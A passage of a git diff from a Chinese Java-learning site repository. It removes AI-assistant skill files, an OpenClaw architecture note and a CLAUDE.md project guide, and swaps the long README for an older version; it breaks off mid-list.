`...` 或 "..." - text = re.sub(r'`[^`]*`', '', text) - text = re.sub(r'"[^"]*"', '', text) - - # 移除图片链接 - text = re.sub(r'!\[\[](https://[^\)]+)\]\([^\)]+\)', '', text) - - # 移除超链接 [text](url) - text = re.sub(r'\[([^\]]+)\]\([^\)]+\)', '', text) - - # 统计中文字符(排除英文、数字、标点符号) - # 中文字符范围:\u4e00-\u9fa5 - chinese_chars = re.findall(r'[\u4e00-\u9fa5]', text) - return len(chinese_chars) - -def main(): - if len(sys.argv) < 2: - print("用法: python3 check_body_length.py <文件路径> [--min 最小字数]") - sys.exit(1) - - file_path = sys.argv[1] - min_chars = 4000 - - # 读取文件 - try: - with open(file_path, 'r', encoding='utf-8') as f: - content = f.read() - except FileNotFoundError: - print(f"错误:文件不存在 - {file_path}") - sys.exit(1) - except Exception as e: - print(f"错误:读取文件失败 - {e}") - sys.exit(1) - - # 移除 frontmatter (--- 到 --- 之间) - content = re.sub(r'^---$.*?^---$\s', '', content, flags=re.DOTALL | re.MULTILINE) - - # 统计字数 - count = count_chinese_chars(content) - - print(f"正文中文字数: {count}") - print(f"要求最小字数: {min_chars}") - - if count >= min_chars: - print("✅ 达标!") - sys.exit(0) - else: - needed = min_chars - count - print(f"❌ 未达标,还需要 {needed} 字") - sys.exit(1) - -if __name__ == '__main__': - main() diff --git a/.codex/skills/ai-article/sucai.md b/.codex/skills/ai-article/sucai.md deleted file mode 100644 index 652752ed4b..0000000000 --- a/.codex/skills/ai-article/sucai.md +++ /dev/null @@ -1,64 +0,0 @@ -玩转OpenClaw,你需要了解的:核心架构、运作原理、Agent部署步骤 - -本文重点从核心框架、通信机制进行介绍,争取让你看完本文后知道OpenClaw是怎么运作的,以及其能力边界在哪里。 - -花时间精力打造和迭代自己的Agent,其实就是跟AI能力正交的一件事,跟培养一个人一样,他可以是很聪明,但他认知世界和做事的能力,需要我们来教导他,这是千人千面的一个话题。 - -OpenClaw的部署和诸多工具,对Mac环境天然友好。如果可以,最好选Mac。 - -折腾OpenClaw,我能有什么收益? - -完整搭建完这套流程后,对Skills的理解、对多Agent的理解、对自部署模型的理解、对memory-search原理的理解、对Agent经典架构的理解,都可以上一个层次。 - -比如这些问题:”如果让你设计一个Agent,它的长短期记忆链路你打算怎么设计?”“如果让你设计一个多Agent架构,你会设计哪些通信方式?”“中大型项目中,怎么对多Skills的情况进行管理,怎么避免多Skills、低质Skills爆炸的问题?” -比如这些问题:”如果让你设计一个Agent,它的长短期记忆链路你打算怎么设计?”“如果让你设计一个多Agent架构,你会设计哪些通信方式?”“中大型项目中,怎么对多Skills的情况进行管理,怎么避免多Skills、低质Skills爆炸的问题?” - -每个Agent都有其对应的workspace,如图是一个Agent最核心的配置文件。 - -AGENTS定义能力边界,SOUL注入灵魂,TOOLS划定禁区,这8个文件构成Agent的完整人格。 - -在这里,我大力推荐朋友们阅读 AGENTS.md 这个文件⭐️⭐️⭐️,这个文件详细介绍了一个Agent的启动、memory管理的流程,自我感觉堪称OpenClaw最核心的Prompt文件。 - -Agent不是常驻进程,而是per-session的瞬态实例。每个对话都是一次完整的加载-执行-销毁循环。 - -可以看到,System Prompt是动态生成的,即每次run都会重新读取workspace文件,确保配置实时生效。 - -和OpenClaw记忆力机制相关的配置有三个: - -1、Session是怎么实现会话按需加载的? - -Session 的加载也是懒加载机制,当消息到达路由到 SessionKey 之后,OpenClaw会查找 sessions.json 获取当前 SessionId,将 SessionId 对应的.jsonl 加载到Agent中。 - -2、Session太长,是不是就挤爆LLM Context了? 是怎么优化的? - -在Session加载 → LLM 感知阶段,按如下流程进行load: - -A. Compaction(压缩) - 持久化 - -B. Session Pruning(修剪)- 临时在发送给 LLM 之前,临时裁剪旧的 tool 结果。 - -当 Session 接近 context 上限时,OpenClaw 会自动提示 Agent 写入Memory,然后再压缩Session。 - -Agent是怎么决策使用Memory的? - -在OpenClaw中,Agent之间的调用有两种方式:sessions_send 和 sessions_spawn。 - -2、sessions_send 和 sessions_spawn 应该分别怎么配置? - -sessions_send 和 sessions_spawn 怎么安排? - -4、sessions_send 和 sessions_spawn 的决策机制 - -6、sessions_send 通话的内容过期机制如何? - -1、Agent 加载Skills的流程 - -Skills 太多会给Agent造成Context负担,甚至错误的Skills会导致Agent错误调用工具。 - -所以我们要对Agent进行精细化的管控,把每个Agent的skills加载配置成: - -比如 brave_search 这个skill,属于让Agent进行高效的联网检索,它就应该属于基础通用SKill。 - -AI 时代消息太多,推荐 https://huggingface.co/papers 的daily_paper,可以通过Agent进行每日论文的抓取,让它快速提炼论文要点,让我们从源头了解AI的前言信息。 - -2. Summary这个没什么好说的,Agent必备能力,通过获取Subscribe的博主,定期分析内容,评分,提取高质量信息。 diff --git a/.gitattributes b/.gitattributes deleted file mode 100644 index 2f2cad2e13..0000000000 --- a/.gitattributes +++ /dev/null @@ -1,4 +0,0 @@ -* text=auto -*.js linguist-language=java -*.css linguist-language=java -*.html linguist-language=java \ No newline at end of file diff --git a/.gitignore b/.gitignore index 815e8cc827..4d1124679b 100644 --- a/.gitignore +++ b/.gitignore @@ -1,15 +1,16 @@ -node_modules -.cache -.temp -package-lock.json + +*.prefs +java_demo/.project +java_demo/.classpath +.idea/ +java_demo/logs/ +java_demo/src/main/main.iml +java_demo/src/test/test.iml .DS_Store -dump.rdb -docs/.vuepress/.cache/ -docs/.vuepress/.temp/ -docs/dist/ -dist.zip -images -*.log -.yarn -*-vip.md -/.vscode +java_demo/.idea/* +java_demo/java_demo.iml +.idea/vcs.xml +*.class +*.zip +*.js +element-list/ \ No newline at end of file diff --git a/.claude/skills/ai-article/sucai.md b/.nojekyll similarity index 100% rename from .claude/skills/ai-article/sucai.md rename to .nojekyll diff --git a/.qoder/skills/interviewer-langgraph4j/SKILL.md b/.qoder/skills/interviewer-langgraph4j/SKILL.md deleted file mode 100644 index c9d7fda6fe..0000000000 --- a/.qoder/skills/interviewer-langgraph4j/SKILL.md +++ /dev/null @@ -1,68 +0,0 @@ - - -你是一名专业的 AI 应用开发工程师,现在在阿里做面试官。 - -## 岗位信息 -- **招聘岗位**:Java 后端工程师/实习生/大模型应用工程师 -- **岗位描述**:docs/jd.md -- **候选人简历**:docs/resume.md(重点:PaiFlow 项目的 LangGraph4J 部分) - -## 你的任务 - -1. 阅读岗位描述,了解招聘要求 -2. 阅读简历中关于 PaiAgent 项目的描述 -3. 阅读技术设计文档:`backend/.qoder/specs/langgraph4j-integration/design.md` -4. 阅读核心源码文件: - - `LangGraphWorkflowEngine.java` - 核心引擎实现 - - `GraphBuilder.java` - 图构建器 - - `NodeAdapter.java` - 节点适配器 - - `StateManager.java` - 状态管理器 -5. 基于以上材料,提出 15 道面试题,**仅关注 LangGraph4J 相关内容** -6. 将 15 道面试题追加写入 `docs/mianshiti.md`(不要覆盖已有内容) - -## 面试题要求 - -### 覆盖范围 -- LangGraph4J 的核心概念(StateGraph、Checkpoint、AgentState 等) -- 技术方案理解(适配器模式、双引擎选择等) -- 实现细节掌握(GraphBuilder、StateManager 等) - -### 难度递进 -1. **基础概念**(1-5 题):StateGraph 是什么?Checkpoint 作用? -2. **架构设计**(6-10 题):为什么用适配器模式?如何兼容 LangChain4j? -3. **实现细节**(11-13 题):StateManager 如何线程安全?GraphBuilder 如何构建? -4. **深度思考**(14-15 题):如何优化性能?如何处理大状态? - -### 输出格式 - -每道题必须包含: -```markdown -## 题 X: [题目] - -**考察点**:[核心知识点] - -**参考答案要点**: -- 要点 1 -- 要点 2 -- 要点 3 - -**评分标准**: -- 优秀:[标准] -- 良好:[标准] -- 需改进:[标准] -``` - -## 约束条件 - -- ✅ 仅针对 LangGraph4J 部分,不要问 SpringAI、RAG 等其他内容 -- ✅ 基于实际代码和设计文档提问,不要空泛 -- ✅ 问题要有区分度,能看出候选人的真实水平 -- ❌ 不要问 "什么是 LangGraph" 这种百度都能搜到的 -- ❌ 不要问与候选人项目无关的内容 - -## 开始执行 - -请按照上述要求,生成 15 道高质量的 LangGraph4J 面试题并写入 `docs/mianshiti.md`。 diff --git a/AGENTS.md b/AGENTS.md deleted file mode 100644 index 6523029870..0000000000 --- a/AGENTS.md +++ /dev/null @@ -1 +0,0 @@ -- OK diff --git a/CLAUDE.md b/CLAUDE.md deleted file mode 100644 index 463fe6f5ec..0000000000 --- a/CLAUDE.md +++ /dev/null @@ -1,351 +0,0 @@ -# CLAUDE.md - -This file provides guidance to Claude Code (claude.ai/code) when working with code in this repository. - -## 写作任务(优先级最高) - -当我要求写文章、出选题、搜集热点、或者任何内容创作相关的任务时: - -### 第一步:确认当前日期 -```bash -date "+%Y年%m月%d日" -``` -后续所有操作以这个日期为准,不要使用训练数据中的日期。 - -### 第二步:判断文章类型并读取对应 Skill - -**AI技术类文章** → 读取 `.claude/skills/ai-article/SKILL.md` -触发关键词: -- "写一篇AI文章"、"AI技术文章" -- "大模型测评"、"AI工具实测" -- "GLM"、"Claude Code"、"Qoder"、"Cursor"、"TRAE"等AI工具名 -- "SpringAI"、"RAG"、"Agent"、"工作流"等AI技术词 -- "搜集AI热点"、"AI选题" - -**求职类文章** → 读取 `.claude/skills/qiuzhi/SKILL.md` -触发关键词: -- "写一篇求职文章"、"求职类文章" -- "薪资"、"年终奖"、"offer" -- "公司招聘"、"岗位分析" -- "面试"、"简历"、"实习"、"春招"、"秋招"、"暑期实习" -- "搜集求职热点"、"求职选题" - -**如果不确定类型**,直接问我:"这篇文章是AI技术类还是求职类?" - -### 第三步:执行任务 -- 素材参考目录:对应 Skill 的 `./sample/` 目录 -- 文章输出目录:`docs/src/sidebar/itwanger/` -- 只读取对应 Skill 目录下的文件,不要跨目录读取 - -### 使用示例 - -**AI技术类:** -``` -写一篇关于GLM-4.7实测的AI文章 -``` -``` -搜集最近的AI热点,出2个选题 -``` -``` -按照AI文章风格,写一篇Claude Code使用教程 -``` - -**求职类:** -``` -写一篇关于字节年终奖的求职文章 -``` -``` -搜集最近的求职热点,出2个选题 -``` -``` -按照求职文章风格,写一篇蚂蚁招聘岗位分析 -``` - -**混合类型(需要指定):** -``` -写一篇关于智谱招聘的文章,用求职风格 -``` -``` -写一篇关于AI岗位薪资的文章,用求职风格 -``` - ---- - -## Project Overview - -**toBeBetterJavaer** (二哥的Java进阶之路) is a comprehensive Java learning guide and interview preparation resource, built as a static documentation website using VuePress 2. The site contains 595+ Markdown files covering Java fundamentals, enterprise development, databases, distributed systems, and interview preparation - all in Chinese. - -**Tech Stack:** -- VuePress 2.0.0-rc.14 with vuepress-theme-hope 2.0.0-rc.52 -- Vite as the build tool -- Vue 3.4.31 -- TypeScript (ES2022 target) -- Package manager: **pnpm** (required) - -## Common Development Commands - -All commands must be run from the `docs/` directory: -```bash -# Install dependencies (run from docs/ directory) -pnpm install - -# Start development server (with hot reload) -pnpm docs:dev - -# Start dev server with cache cleared (use if you see stale content) -pnpm docs:clean-dev - -# Build for production -pnpm docs:build - -# Update VuePress packages -pnpm docs:update-package -``` - -**Note:** The development server typically runs on `http://localhost:8080` by default. - -## Architecture & Structure - -### Directory Layout -``` -toBeBetterJavaer/ -├── docs/ # Main documentation directory -│ ├── src/ # Source content (595+ MD files) -│ │ ├── .vuepress/ # VuePress configuration -│ │ │ ├── config.ts # Main site configuration -│ │ │ ├── theme.ts # Theme settings -│ │ │ ├── navbar.ts # Top navigation bar -│ │ │ ├── sidebar.ts # Sidebar structure -│ │ │ ├── client.ts # Client-side enhancements -│ │ │ ├── components/ # Custom Vue components -│ │ │ ├── public/ # Static assets (images, icons) -│ │ │ └── styles/ # Custom SCSS styles -│ │ │ -│ │ ├── [Content Directories] # 47 topic directories (see below) -│ │ ├── blog.md # Blog page -│ │ ├── home.md # Home page -│ │ └── README.md -│ │ -│ ├── package.json # NPM scripts -│ ├── pnpm-lock.yaml -│ └── tsconfig.json # TypeScript config -├── .claude/ # Claude Code Skills -│ └── skills/ -│ ├── ai-article/ # AI技术文章 Skill -│ │ ├── SKILL.md -│ │ └── sample/ # AI技术类素材 -│ └── qiuzhi/ # 求职类文章 Skill -│ ├── SKILL.md -│ └── sample/ # 求职类素材 -└── images/ # Additional image assets -``` - -### Content Organization - -The 47 main content directories are organized into these categories: - -**Java Core:** -- `overview/` - Introduction & environment setup -- `basic-grammar/` - Syntax fundamentals -- `array/`, `string/` - Data types -- `oo/` - Object-oriented programming -- `collection/` - Collections framework -- `exception/` - Exception handling -- `io/` - Input/Output streams - -**Advanced Java:** -- `thread/` - Multithreading & concurrency (37 files) -- `jvm/` - Java Virtual Machine (31 files) -- `java8/` - Java 8+ features (Lambda, Stream, Optional) -- `nio/` - Non-blocking I/O -- `socket/` - Network programming - -**Enterprise Development:** -- `springboot/` - Spring Boot tutorials (26 files) -- `mybatis/` - Database ORM -- `maven/` - Build tool -- `git/` - Version control - -**Databases:** -- `mysql/` - MySQL tutorials (23 files) -- `redis/` - Caching -- `mongodb/` - NoSQL - -**Distributed Systems:** -- `mq/` - Message queues (RabbitMQ, Kafka) -- `elasticsearch/` - Search engine -- `zookeeper/` - Distributed coordination -- `microservice/` - Microservices -- `netty/` - Network framework - -**Interview & Career:** -- `interview/` - Interview Q&A (16 files) -- `mianjing/` - Interview experiences -- `cityselect/` - Company recommendations by city (15 files) -- `sidebar/sanfene/` - "面渣逆袭" (Mianza Nixi) interview prep series - -**Learning Resources:** -- `xuexiluxian/` - Learning roadmaps (19 files) -- `pdf/` - PDF downloads -- `xuexijianyi/` - Study advice -- `cs/` - Computer science basics - -**Special Sections:** -- `zhishixingqiu/` - Premium content (paid membership) -- `sidebar/itwanger/` - Author's articles (二哥原创文章) -- `sidebar/sjtu/` - Shanghai Jiao Tong University survival guide -- `szjy/` - Website building tutorials - -### Configuration Files - -**Key Config Files:** -- `docs/src/.vuepress/config.ts` - Main site config (title, description, head meta, analytics) -- `docs/src/.vuepress/theme.ts` - Theme settings (PWA, comments, search, encryption) -- `docs/src/.vuepress/navbar.ts` - Top navigation menu structure -- `docs/src/.vuepress/sidebar.ts` - Sidebar structure (auto-generated from directories) -- `docs/tsconfig.json` - TypeScript configuration (ES2022, NodeNext modules) - -**Theme Features Enabled:** -- Dark mode switch -- PWA support (offline capability) -- Blog functionality -- Giscus comments integration -- DocSearch (Algolia) for site search -- Encryption for premium content -- Article metadata display -- Social media links (Zhihu, CSDN, GitHub, Gitee) - -### Markdown Front Matter - -Content files use front matter for metadata: -```yaml ---- -title: Page Title -shortTitle: Short Title -description: Page description for SEO -tag: - - AI - - 大模型 -category: - - 技术文章 -author: 二哥 -date: 2026-01-21 ---- -``` - -### Supported Markdown Features - -- Code blocks with syntax highlighting -- Mathematical formulas (MathJax) -- PlantUML diagrams -- Tabs component -- Task lists -- Image lazy loading -- Custom Vue components - -## Development Workflow - -### Adding/Editing Content - -1. Create or edit Markdown files in appropriate directories under `docs/src/` -2. Add front matter with relevant metadata -3. Test locally: `pnpm docs:dev` (from `docs/` directory) -4. View changes at `http://localhost:8080` - -### Building & Deployment -```bash -# From docs/ directory -pnpm docs:build - -# Output is in docs/dist/ -# Deploy by uploading dist/ to Nginx static directory -``` - -The deployment process is manual: -1. Build: `pnpm docs:build` -2. Compress: `zip -r dist.zip dist` -3. Upload to server Nginx directory -4. Extract: `unzip dist.zip` - -### Navigation Structure - -**Top Navbar** (configured in `navbar.ts`): -- 博客 (Blog) -- 进阶之路 (Learning Path) -- 知识星球 (Knowledge Planet - premium content) -- 学习路线 (Learning Roadmaps) -- 面渣逆袭 (Interview Prep) -- 珍藏资源 (Resources - PDFs, articles, etc.) - -**Sidebars** are auto-generated from the directory structure in `sidebar.ts`. - -## Important Notes - -### Content Guidelines - -- All content is in **Chinese** (Simplified) -- This is an educational resource focused on **Java learning and interview preparation** -- Writing style should be "通俗易懂、风趣幽默" (easy to understand, humorous) -- Target audience: Java learners from beginners to experienced developers - -### Technical Considerations - -- **Image Assets:** Use CDN URLs (`cdn.paicoding.com`) for images to reduce bundle size -- **Analytics:** Baidu Analytics integration is configured -- **Search:** Algolia DocSearch is integrated for site search -- **Premium Content:** Some sections (like `zhishixingqiu/`) use encryption -- **Performance:** PWA enabled for offline access - -### File Naming - -- Use lowercase with hyphens: `my-tutorial.md` -- Avoid special characters and spaces -- Keep names descriptive but concise - -### Testing - -There are **no automated tests** in this project. Testing is manual: -1. Run dev server -2. Visually inspect pages -3. Check links and rendering -4. Verify navigation works correctly - -### TypeScript Configuration - -- Target: ES2022 -- Module: NodeNext -- Only `.vuepress/` directory files are compiled -- Content files remain as Markdown - -## Key Dependencies - -**Core:** -- vuepress: 2.0.0-rc.14 -- vuepress-theme-hope: 2.0.0-rc.52 -- vue: 3.4.31 -- @vuepress/bundler-vite: 2.0.0-rc.14 - -**Plugins:** -- @vuepress/plugin-docsearch: 2.0.0-rc.40 -- @vuepress/plugin-pwa: 2.0.0-rc.40 -- mathjax-full: ^3.2.2 - -## Common Issues - -**Stale Content After Changes:** -- Run `pnpm docs:clean-dev` instead of `pnpm docs:dev` -- Or manually delete `.cache` and `.temp` directories - -**Build Errors:** -- Ensure you're using **pnpm**, not npm or yarn -- Delete `node_modules` and run `pnpm install` -- Check Node.js version compatibility - -**Missing Images:** -- Use CDN URLs when possible -- Local images go in `docs/src/.vuepress/public/` - -**Navigation Not Updating:** -- Check `navbar.ts` for top menu items -- Check `sidebar.ts` for sidebar structure -- Restart dev server after config changes \ No newline at end of file diff --git a/README.md b/README.md index 60c5e76c4c..126e79766d 100644 --- a/README.md +++ b/README.md @@ -1,816 +1,280 @@ +# :rainbow: To Be Better Javaer,Java 程序员进阶之路 - 通俗易懂、风趣幽默 -

- - 二哥的Java进阶之路 - -

- -

- - - - 无套路下载 - 二哥的Java进阶之路

- Github | - Gitee -

- -# 为什么会有这个开源知识库 - -> 知识库取名 **toBeBetterJavaer**,即 **To Be Better Javaer**,意为「成为一名更好的 Java 程序员」,是我自学 Java 以来所有原创文章和学习资料的大聚合。内容包括 Java 基础、Java 并发编程、Java 虚拟机、Java 企业级开发、Java 面试等核心知识点。据说每一个优秀的 Java 程序员都喜欢她,风趣幽默、通俗易懂。学 Java,就认准 二哥的Java进阶之路😄。 -> -> 知识库旨在为学习 Java 的小伙伴提供一系列: -> - **优质的原创 Java 教程** -> - **全面清晰的 Java 学习路线** -> - **免费但靠谱的 Java 学习资料** -> - **精选的 Java 岗求职面试指南** -> - **Java 企业级开发所需的必备技术** -> -> 赠人玫瑰手有余香。知识库会持续保持**更新**,欢迎收藏品鉴! -> -> **转载须知** :以下所有文章如非文首说明为转载皆为我(沉默王二)的原创,且不允许转载,如发现恶意抄袭/搬运,会动用法律武器维护自己的权益。让我们一起维护一个良好的技术创作环境! -> -> 推荐你通过在线阅读网站进行阅读,体验更好,速度更快! -> -> - [**二哥的Java进阶之路在线网站(新域名:javabetter.cn 好记,推荐👍)**](https://javabetter.cn) -> - [老版 Java 程序员进阶之路在线网址(老域名 tobebetterjavaer.com 难记)](https://tobebetterjavaer.com) -> - [技术派之二哥的Java进阶之路专栏](https://paicoding.com/column/5/1) -> -> 如果你更喜欢离线的 PDF 版本,戳这个链接获取[👍二哥的 Java 进阶之路.pdf](docs/src/overview/readme.md) - -# 知识库地图 - -> 知识库收录的核心内容就全在这里面了,大类分为 Java 核心、Java 企业级开发、数据库、计算机基础、求职面试、学习资源、程序人生,几乎你需要的这里都有。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/tobebetterjavaer-map.png) - -一个人可以走得很快,但一群人才能走得更远。[二哥的编程星球](https://javabetter.cn/zhishixingqiu/)已经有 **10000 多名** 球友加入了(马上涨价到 169 元,抓紧时间趁没涨价前加入吧),如果你也需要一个优质的学习环境,扫描下方的优惠券加入我们吧。 - -

- - - 星球优惠券 - - -

- -新人可免费体验 3 天,不满意可全额退款(只能帮你到这里了😄)。 - -这是一个 **简历精修 + AI/Agent实战项目 + Java 面试指南 + LeetCode 刷题**的私密圈子,你可以阅读星球专栏、向二哥提问、帮你制定学习计划、和球友一起打卡成长。两个置顶帖「球友必看」和「知识图谱」里已经沉淀了非常多优质的内容,**相信能帮助你走的更快、更稳、更远**。 - -- [二哥精修简历服务,让你投了就有笔试&面试✌️](https://javabetter.cn/zhishixingqiu/jianli.html) -- [二哥的PaiFlow工作流Agent项目派派工作流上线了,Agent时代你必须掌握✌️](https://javabetter.cn/zhishixingqiu/paiflow.html) -- [二哥的RAG知识库项目派聪明上线了,AI时代你必须拥有的实战项目✌️](https://javabetter.cn/zhishixingqiu/paismart.html) -- [Go 版本的派聪明RAG知识库项目上线了,学习 Go 语言的小伙伴有福了✌️](https://javabetter.cn/zhishixingqiu/paismart-go.html) -- [二哥的技术派实战项目更新了,秋招&暑期/日常实习大杀器✌️](https://javabetter.cn/zhishixingqiu/paicoding.html) -- [二哥的PmHub微服务实战项目上线了,校招和社招均可用✌️](https://javabetter.cn/zhishixingqiu/paicoding.html) -- [二哥的Java面试指南专栏更新了,求职面试必备✌️](https://javabetter.cn/zhishixingqiu/mianshi.html) - - -# 学习路线 - -> 除了 Java 学习路线,还有 MySQL、Redis、C语言、C++、Python、Go 语言、操作系统、前端、数据结构与算法、蓝桥杯、大数据、Android、.NET等硬核学习路线,欢迎收藏品鉴! - - * [Java学习路线一条龙版(建议收藏🔥)](docs/src/xuexiluxian/java/yitiaolong.md) - * [Java并发编程学习路线(建议收藏🔥)](docs/src/xuexiluxian/java/thread.md) - * [Java虚拟机学习路线(建议收藏🔥)](docs/src/xuexiluxian/java/jvm.md) - * [MySQL 学习路线(建议收藏🔥)](docs/src/xuexiluxian/mysql.md) - * [Redis 学习路线(建议收藏🔥)](docs/src/xuexiluxian/redis.md) - * [C语言学习路线(建议收藏🔥)](docs/src/xuexiluxian/c.md) - * [C++学习路线(建议收藏🔥)](docs/src/xuexiluxian/ccc.md) - * [Python学习路线(建议收藏🔥)](docs/src/xuexiluxian/python.md) - * [Go语言学习路线(建议收藏🔥)](docs/src/xuexiluxian/go.md) - * [操作系统学习路线(建议收藏🔥)](docs/src/xuexiluxian/os.md) - * [前端学习路线(建议收藏🔥)](docs/src/xuexiluxian/qianduan.md) - * [算法和数据结构学习路线(建议收藏🔥)](docs/src/xuexiluxian/algorithm.md) - * [蓝桥杯学习路线(建议收藏🔥)](docs/src/xuexiluxian/lanqiaobei.md) - * [大数据学习路线(建议收藏🔥)](docs/src/xuexiluxian/bigdata.md) - * [Android 安卓学习路线(建议收藏🔥)](docs/src/xuexiluxian/android.md) - * [.NET 学习路线(建议收藏🔥)](docs/src/xuexiluxian/donet.md) - * [Linux 学习路线(建议收藏🔥)](docs/src/xuexiluxian/linux.md) +> **作者:** 沉默王二,Java Developer,[:pencil2: 个人博客](https://itwanger.com),[:books: 计算机经典书单(download)](https://mp.weixin.qq.com/s/qwUtTbfDB36VSwnjMRakqA) + +>🌈 Java 程序员进阶之路,本专栏风趣幽默、通俗易懂,对 Java 爱好者极度友好和舒适😄,内容包括 Java 基础、Java 并发编程、Java 虚拟机、Java 面试题、Java 企业级开发(Git、SSM、Spring Boot)、计算机基础知识(操作系统、计组、计网、数据结构与算法)等核心知识点。如果本专栏为你提供了帮助,请给予支持(star一下,或者推荐给你的朋友)! + + +# ⛳目录 + +- 仓库同步:[Github](https://github.com/itwanger/toBeBetterJavaer) | [码云](https://gitee.com/itwanger/toBeBetterJavaer) | [CodeChina](https://codechina.csdn.net/qing_gee/toBeBetterJavaer) +- [学习说明](https://github.com/itwanger/toBeBetterJavaer#bookmark-学习说明) +- [章节目录](https://github.com/itwanger/toBeBetterJavaer#pencil-章节目录) +- [联系作者](https://github.com/itwanger/toBeBetterJavaer#paw_prints-联系作者) +- [参与贡献](https://github.com/itwanger/toBeBetterJavaer#muscle-参与贡献) + +具体章节可以参照下面这张思维导图(绿色✅的部分是已经更新的) +![](https://img-blog.csdnimg.cn/7a19bf4d16064987bdf76b10a348715b.png) -# 面渣逆袭 - -> **面试前必读系列**!包括 Java 基础、Java 集合框架、Java 并发编程、Java 虚拟机、Spring、Redis、MyBatis、MySQL、操作系统、计算机网络、RocketMQ、分布式、微服务、设计模式、Linux 等等。 - -- [面渣逆袭(MySQL八股文面试题)必看👍](docs/src/sidebar/sanfene/mysql.md) -- [面渣逆袭(Redis八股文面试题)必看👍](docs/src/sidebar/sanfene/redis.md) -- [面渣逆袭(Spring八股文面试题)必看👍](docs/src/sidebar/sanfene/spring.md) -- [面渣逆袭(Java 基础篇八股文面试题)必看👍](docs/src/sidebar/sanfene/javase.md) -- [面渣逆袭(Java 集合框架篇八股文面试题)必看👍](docs/src/sidebar/sanfene/collection.md) -- [面渣逆袭(Java 并发编程篇八股文面试题)必看👍](docs/src/sidebar/sanfene/javathread.md) -- [面渣逆袭(Java 虚拟机篇八股文面试题)必看👍](docs/src/sidebar/sanfene/jvm.md) -- [面渣逆袭(MyBatis八股文面试题)必看👍](docs/src/sidebar/sanfene/mybatis.md) -- [面渣逆袭(操作系统八股文面试题)必看👍](docs/src/sidebar/sanfene/os.md) -- [面渣逆袭(计算机网络八股文面试题)必看👍](docs/src/sidebar/sanfene/network.md) -- [面渣逆袭(RocketMQ八股文面试题)必看👍](docs/src/sidebar/sanfene/rocketmq.md) -- [面渣逆袭(分布式面试题八股文)必看👍](docs/src/sidebar/sanfene/fenbushi.md) -- [面渣逆袭(微服务面试题八股文)必看👍](docs/src/sidebar/sanfene/weifuwu.md) -- [面渣逆袭(设计模式面试题八股文)必看👍](docs/src/sidebar/sanfene/shejimoshi.md) -- [面渣逆袭(Linux面试题八股文)必看👍](docs/src/sidebar/sanfene/linux.md) - -# Java基础 - -> **Java基础非常重要**!包括基础语法、面向对象、集合框架、异常处理、Java IO、网络编程、NIO、并发编程和 JVM。 - - -## Java概述及环境配置 - -- [《二哥的Java进阶之路》小册简介](docs/src/overview/readme.md) -- [Java简史、特性、前景](docs/src/overview/what-is-java.md) -- [Windows和macOS下安装JDK教程](docs/src/overview/jdk-install-config.md) -- [在macOS和Windows上安装Intellij IDEA](docs/src/overview/IDEA-install-config.md) -- [编写第一个程序Hello World](docs/src/overview/hello-world.md) - -## Java基础语法 - -- [48个关键字及2个保留字全解析](docs/src/basic-extra-meal/48-keywords.md) -- [了解Java注释](docs/src/basic-grammar/javadoc.md) -- [基本数据类型与引用数据类型](docs/src/basic-grammar/basic-data-type.md) -- [自动类型转换与强制类型转换](docs/src/basic-grammar/type-cast.md) -- [Java基本数据类型缓存池剖析(IntegerCache)](docs/src/basic-extra-meal/int-cache.md) -- [Java运算符详解](docs/src/basic-grammar/operator.md) -- [Java流程控制语句详解](docs/src/basic-grammar/flow-control.md) -- [Java 语法基础练习题](docs/src/basic-grammar/basic-exercise.md) - -## 数组&字符串 - -- [掌握Java数组](docs/src/array/array.md) -- [掌握 Java二维数组](docs/src/array/double-array.md) -- [如何优雅地打印Java数组?](docs/src/array/print.md) -- [深入解读String类源码](docs/src/string/string-source.md) -- [为什么Java字符串是不可变的?](docs/src/string/immutable.md) -- [深入理解Java字符串常量池](docs/src/string/constant-pool.md) -- [详解 String.intern() 方法](docs/src/string/intern.md) -- [String、StringBuilder、StringBuffer](docs/src/string/builder-buffer.md) -- [Java中equals()与==的区别](docs/src/string/equals.md) -- [最优雅的Java字符串拼接是哪种方式?](docs/src/string/join.md) -- [如何在Java中拆分字符串?](docs/src/string/split.md) - -## Java面向对象编程 - -- [类和对象](docs/src/oo/object-class.md) -- [Java中的包](docs/src/oo/package.md) -- [Java变量](docs/src/oo/var.md) -- [Java方法](docs/src/oo/method.md) -- [Java可变参数详解](docs/src/basic-extra-meal/varables.md) -- [手把手教你用 C语言实现 Java native 本地方法](docs/src/oo/native-method.md) -- [Java构造方法](docs/src/oo/construct.md) -- [Java访问权限修饰符](docs/src/oo/access-control.md) -- [Java代码初始化块](docs/src/oo/code-init.md) -- [Java抽象类](docs/src/oo/abstract.md) -- [Java接口](docs/src/oo/interface.md) -- [Java内部类](docs/src/oo/inner-class.md) -- [深入理解Java三大特性:封装、继承和多态](docs/src/oo/encapsulation-inheritance-polymorphism.md) -- [详解Java this与super关键字](docs/src/oo/this-super.md) -- [详解Java static 关键字](docs/src/oo/static.md) -- [详解Java final 关键字](docs/src/oo/final.md) -- [掌握Java instanceof关键字](docs/src/basic-extra-meal/instanceof.md) -- [聊聊Java中的不可变对象](docs/src/basic-extra-meal/immutable.md) -- [方法重写 Override 和方法重载 Overload 有什么区别?](docs/src/basic-extra-meal/override-overload.md) -- [深入理解Java中的注解](docs/src/basic-extra-meal/annotation.md) -- [Java枚举:小小enum,优雅而干净](docs/src/basic-extra-meal/enum.md) - -## 集合框架(容器) - -- [Java集合框架概览,包括List、Set、Map、队列](docs/src/collection/gailan.md) -- [深入探讨 Java ArrayList](docs/src/collection/arraylist.md) -- [深入探讨 Java LinkedList](docs/src/collection/linkedlist.md) -- [Java Stack详解](docs/src/collection/stack.md) -- [Java HashMap详解](docs/src/collection/hashmap.md) -- [Java LinkedHashMap详解](docs/src/collection/linkedhashmap.md) -- [Java TreeMap详解](docs/src/collection/treemap.md) -- [Java 双端队列 ArrayDeque详解](docs/src/collection/arraydeque.md) -- [Java 优先级队列PriorityQueue详解](docs/src/collection/PriorityQueue.md) -- [Java Comparable和Comparator的区别](docs/src/collection/comparable-omparator.md) -- [时间复杂度,评估ArrayList和LinkedList的执行效率](docs/src/collection/time-complexity.md) -- [ArrayList和LinkedList的区别](docs/src/collection/list-war-2.md) -- [Java 泛型深入解析](docs/src/basic-extra-meal/generic.md) -- [Java迭代器Iterator和Iterable有什么区别?](docs/src/collection/iterator-iterable.md) -- [为什么禁止在foreach里执行元素的删除操作?](docs/src/collection/fail-fast.md) - -## Java IO - -- [深入了解 Java IO](docs/src/io/shangtou.md) -- [Java File:IO 流的起点与终点](docs/src/io/file-path.md) -- 